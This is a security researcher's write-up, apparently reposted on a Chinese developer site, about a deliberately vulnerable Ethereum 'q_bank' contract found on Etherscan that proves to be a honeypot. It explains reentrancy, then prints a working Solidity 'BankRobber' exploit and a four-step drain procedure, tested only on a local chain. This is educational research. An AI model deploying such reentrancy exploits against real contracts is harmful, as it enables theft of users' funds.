内容简介:For some it's just online banking with a 107 GB swap file, for others it's the future of finance. Cryptocurrencies like Bitcoin and Ethereum have grown in popularity as well as in features. The irreversibility of transactions, the sheer amount of money han
Introduction into Ethereum Smart Contracts
For some it's just online banking with a 107 GB swap file, for others it's the future of finance. Cryptocurrencies like Bitcoin and Ethereum have grown in popularity as well as in features. The irreversibility of transactions, the sheer amount of money handled and a constantly growing set of features make for an excellent target for some security research.
But where to start? It's always a question of: What would the bad guys do? Sureley they would try to hack a smart contract. Smart contracts are a feature of Ethereum, where little programs written in a Javascript-like language called Solidity manage money, the largest smart contract , belonging to the Bitfinex Exchange, holds a value equivalent to roughly $900M. There are some caveats. In June 2016, an unknown individual for example exploited a combination of vulnerabilities in a smart contract known as The DAO . Tokens valued $50M were transferred, but not as intened by the original programmes.
Now are there vulnerabilities in the largest smart contracts? If there were, they were hard to find, since obviously the accounts still have money in it, so they have not yet been exploited. Vulnerable smart contracts are a race against the clock. The first one to exploit the vulnerability gets the money. So it would be clever to look at the newly created smart contracts. Conveniently, etherscan.io has a list of them together with the respective source code. After reading through the list for some hours, something caught my attention.
A vulnerable smart contract
I stumbled across this smart contract . Created just a few hours ago and with a balance of 10 Ether (not millions, but worth at least $2,400), this contract was obviously written by an amateur. It was supposed to be a smart bank that allowed you to deposit Ether, which were only to be released after a certain time has passed, but it had a serious bug.
The same type of vulnerability was used to drain $50M from the DAO. I spotted what is called a reentry vulnerability, an attack which works as follows: A smart contract can send you money. Usually to your account, but you can also call that smart contract (let's call it V for Victim) from another smart contract (let's call it A for attacker). When your smart contract (A) then receives money from (V), the attackers code (A) is invoked again. Now if that code calls back into the victim smart contract (V) to send money again, before the victim (V) could write down your new balance, you can take more than you have. So (A) calls (V), calls (A), calls (V) and so on, until you are rich and the bank is bankrupt.
But does the smart contract really have that issue? Let's have a look at the code and first discuss, what it is supposed to do, before discussing, what it really does.
/* Code of Smart Contract 0x8897fc893570ce05db621f70d2d4a26d38ad57e9 found on Etherscan.io on 2020-06-10 */ contract q_bank { function Put(uint _unlockTime) public payable { var acc = Acc[msg.sender]; acc.balance += msg.value; acc.unlockTime = _unlockTime>now?_unlockTime:now; LogFile.AddMessage(msg.sender,msg.value,"Put"); } function Collect(uint _am) public payable { var acc = Acc[msg.sender]; if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime) { if(msg.sender.call.value(_am)()) { acc.balance-=_am; LogFile.AddMessage(msg.sender,_am,"Collect"); } } } function() public payable { Put(0); } struct Holder { uint unlockTime; uint balance; } mapping (address => Holder) public Acc; Log LogFile; uint public MinSum = 1 ether; function q_bank(address log) public{ LogFile = Log(log); } } contract Log { struct Message { address Sender; string Data; uint Val; uint Time; } Message[] public History; Message LastMsg; function AddMessage(address _adr,uint _val,string _data) public { LastMsg.Sender = _adr; LastMsg.Time = now; LastMsg.Val = _val; LastMsg.Data = _data; History.push(LastMsg); } }
There are two functions in q_bank
:
function Put(uint _unlockTime) public payable { var acc = Acc[msg.sender]; acc.balance += msg.value; acc.unlockTime = _unlockTime>now?_unlockTime:now; LogFile.AddMessage(msg.sender,msg.value,"Put"); }
The function Put
can receive a parameter _unlockTime
and any amount of money (Ethers in this case). The money is deposited into the smart contract and the deposited amount is written into a directory of holdings ( Acc
), which contains how much money the sender has deposited and when it will be available for withdrawal. Of course, withdrawal times cannot be in the past.
function Collect(uint _am) public payable { var acc = Acc[msg.sender]; if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime) { if(msg.sender.call.value(_am)()) { acc.balance-=_am; LogFile.AddMessage(msg.sender,_am,"Collect"); } } }
The Collect
function then allows to withdraw the money. It also can receive money (maybe by mistake), and it only allows withdrawals after the unlockTime
has expired. Also, the amount needs to be greater than 1 Ether (about $240). And, if you don't have deposited at least the withdrawal amount, you are not allowed to withdraw. If you withdraw any amount, the amount is deducted from your holdings.
function() public payable { Put(0); }
And then, there is fallback function ( function()
), which is invoked if the contract receives money without any function calls. It just deposits the money into your account by invoking the Put
function. By setting the _unlockTime
parameter to zero, withdrawals are allowed starting the next second.
The contract had been created in three transactions. First a Log
contract has been created, which just seems to write Logs into the blockchain (we will discuss that later). Then the q_bank
contract has been created, which links to the Log
contract. And finally, there were 10 Ethers transferred into the bank account
(which, at the time of writing are worth about $2,400).
Crafting the attack
Now, there is a reentry vulnerability as described earlier. The issue is, that if you withdraw money using the Collect
function, then msg.sender.call(_am)()
transfers _am
Ethers to you (actually the amount is in wei
, which are the smallest denomination of Ethers, but that does not matter for our purposes). If you call the contract from another contract msg.sender.call
invokes your receive()
function. Because your holdings are only adjusted after the function returns ( acc.balance-=_am
), if your receive()
function calls into Collect
again, you can withdraw twice the amount on your account. If you call more often, you can empty the whole bank.
The important part is, for the attack to work, you need to deposit one Ether first. Anything less will not work, because the bank does not allow withdrawals less than one Ether. And you are only allowed to withdraw it in the next block, due to the unlockTime
parameter.
I wanted to try the attack in a sandbox environment. The easiest way to develop and test smart contracts at the time of writing is the Remix IDE . It comes with a solidity compiler, a debugger and a toy blockchain, all in your browser. However, it constantly crashed by machine with out of memory errors and high CPU load. I found out that it works better, when the toy blockchain is instead running on my machine, for that I used Ganache and connected it to Remix using the Web3 Provider option.
There I deployed the Log
contract, the q_bank
contract and finally my own BankRobber
contract whose sole purpose it was to empty the bank.
//SPDX-License-Identifier: YGPL <You get pwned license> 1.0 pragma solidity ^0.6.9; /* * @dev Markus Fenske - exablue GmbH */ contract BankRobber { IdiotBankInterface bank; address payable owner; uint reentryCounter = 0; function grabAndRun() external { require(msg.sender == owner); msg.sender.transfer(address(this).balance); } function depositToBank() external payable { require(msg.value == 1 ether, "Needs to be 1 ETH"); bank.Put.value(1 ether)(0); } function pwnBank() external { state = 0; bank.Collect(1 ether); } function balance() external view returns(uint) { return address(this).balance; } // Reentry exploit uint state; receive() external payable { if(state < 10) { state++; bank.Collect(1 ether); } } fallback() external payable { require(1 == 0, "Fallback called"); } constructor(address _bankAddress) public payable { bank = IdiotBankInterface(_bankAddress); owner = msg.sender; } } interface IdiotBankInterface { function Put(uint _unlockTime) external payable; function Collect(uint _am) external payable; }
The bank robbery works in four transactions:
-
Deploy the
BankRobber
smart contract and specify the address of theq_bank
contract. -
Send 1 Ether to the
depositToBank()
function, which deposits the Ether into the bank. In this place, we cannot directly withdraw the money, because theCollect
function in theq_bank
contract checks ifnow>acc.unlockTime
, while thePut
function allows for no value bigger thannow
. Becausenow
is always the mining time of the current block, we need a second transaction to empty the bank. -
Call
pwnBank()
, this calls intoCollect
, which then sends 1 Ether, which callsreceive()
, which then again recursively callsCollect
, which then again callsreceive()
, which repeats 10 times and then, the bank is empty and our account has a balance of -10 Ether. -
Call
grabAndRun()
to transfer the money to the contract owner.
And indeed, in the testing environment, it works perfectly. Minus transaction costs (those repeated calls are expensive), I am up 9.96 Ether.
To pwn or not to pwn?
It surely would be unethical to run the BankRobber
on the mainnet (the production blockchain). But would it work? Could someone really be this dumb? Or was this all just a trap? I followed the transaction links to the account that created the contract and it turns out: Whoever did this, they do that roughly every two weeks ( 2020-05-27
, 2020-05-13
, 2020-04-27
, and so on). They are not dumb. It's a cleverly created deception.
The Log
contract seen above looks rather harmless. All it does is saving the messages given to AddMessage()
to the history. But the Log contract deployed on the blockchain does not match that code. Instead, it does something else. I quickly decompiled it using the Panoramix EVM decompiler (conveniently included into Etherscan) and found the following code
:
def storage: stor0 is array of struct at storage 0 stor1 is addr at storage 1 stor2 is array of uint256 at storage 2 stor3 is uint256 at storage 3 stor4 is uint256 at storage 4 stor5 is addr at storage 5 stor6 is addr at storage 6 stor7 is addr at storage 7 # ... def AddMessage(address _adr, uint256 _val, string _data): # not payable # ... if caller == stor5: if stor7 != _adr: if stor6 != tx.origin: require 0 < _data.length if 'C' == Mask(8, 248, mem[128]): require _val <= 0
I didn't bother to explicitly check the variables, but it seems that stor5
contains the address of the q_bank
contract, stor7
contains the creator of the contract, stor6
is the same, _data
contains the log message, which is also written to mem
and has to begin with a C. If all is met, the transaction amount _val
has to be below (which is impossible) or be zero. Or in plain words: Nobody else than the contract owner is allowed to withdraw money.
If you try, the call to require()
issues a REVERT
opcode. Nothing is written to the blockchain and your transaction costs are gone. But of course your are still allowed to deposit money.
The contract is designed to look exploitable and to lure you into sending one Ether. The only one allowed to exploit the vulnerability is the contract owner. It's a trap!
Luckily nobody fell for it. Yet.
Timeline
- 2020-06-10: Discovered the smart contract
- 2020-06-11: Finalized this article
Resources
- The list of recently verified smart contracts: Etherscan.io, verified smart contracts
-
The deceptive smart contract
q_bank
: Etherscan.io, contract address 0x8897fc893570ce05db621f70d2d4a26d38ad57e9 . - The deceptive smart contract 'Log': Etherscan.io contract address 0x99a377d3441fd69e09a3e9ffdebdda3de3fdab93
- Remix: The in-browser Solidity IDE comes with a compiler, EVM debugger and blockchain emulation: Remix IDE .
- Ganache Ethereum Blockchain Emulator: Ganache
以上所述就是小编给大家介绍的《Malware on the blockchain》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Distributed Algorithms
Nancy A. Lynch / Morgan Kaufmann / 1996-3-15 / USD 155.00
In "Distributed Algorithms", Nancy Lynch provides a blueprint for designing, implementing, and analyzing distributed algorithms. She directs her book at a wide audience, including students, programmer......一起来看看 《Distributed Algorithms》 这本书的介绍吧!